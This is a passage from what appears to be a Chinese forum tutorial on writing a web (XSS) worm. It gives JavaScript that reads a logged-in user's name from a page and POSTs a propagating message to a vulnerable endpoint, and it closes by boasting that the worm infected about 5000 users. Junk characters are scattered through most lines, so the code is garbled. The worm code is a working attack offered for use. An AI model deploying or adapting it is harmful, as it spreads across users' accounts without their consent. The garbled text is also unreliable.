' \- x3 r5 K" p4 a, Z, lxmlHttpReq.setRequestHeader("content-length",post.length);
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" w0 F$ J- q; I7 J- q7 lxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");0 d3 ]. {: a$ p5 k# R
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xmlHttpReq.send(post);3 ]- y, t8 k& j
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; z, w: t% m1 u$ a8 ^复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{0 B& L0 T) E E: G0 Y
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方* }4 z& p# D9 V. ~) {6 r, j8 |
: H$ R1 G: J+ K* k9 uvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.% \* z6 N6 S/ s9 }
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;& Q& d( `0 M6 v( r
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");; l; l- U) |8 e( d5 v* V
2 C: g( a2 p6 ^3 q uxmlHttpReq.setRequestHeader("content-length",post.length); 0 _9 s$ f5 f. C- V
2 V$ H& s t' l& B$ T+ P1 o& F n% _xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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" f# D' o0 q! I% U& | YxmlHttpReq.send(post); //把传播的信息 POST出去.! v7 G9 [/ ^2 U9 F
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+ e T$ Q0 m; ?( x- a$ Y1 }3 X复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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' |4 \' M& R, |本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
; n& q, {7 o& M+ T, n# `8 ]) g蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
2 ^+ a. b- E5 C/ ?5 e" H操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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, Y$ m. D# o/ |3 J本文引用文档资料:
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. B7 E9 \' m( r"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
/ h" C+ l! P, x% F9 \; f) k1 ~+ ]2 v& DOther XmlHttpRequest tricks (Amit Klein, January 2003)' o% `7 I6 e& k E! `' G: P9 E
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
) j* a3 z" x1 [$ s5 B4 }% I. t% {' {http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
# O T. I: U& H空虚浪子心BLOG http://www.inbreak.net, p7 R* x- u% w( m$ x% S% S
Xeye Team http://xeye.us/
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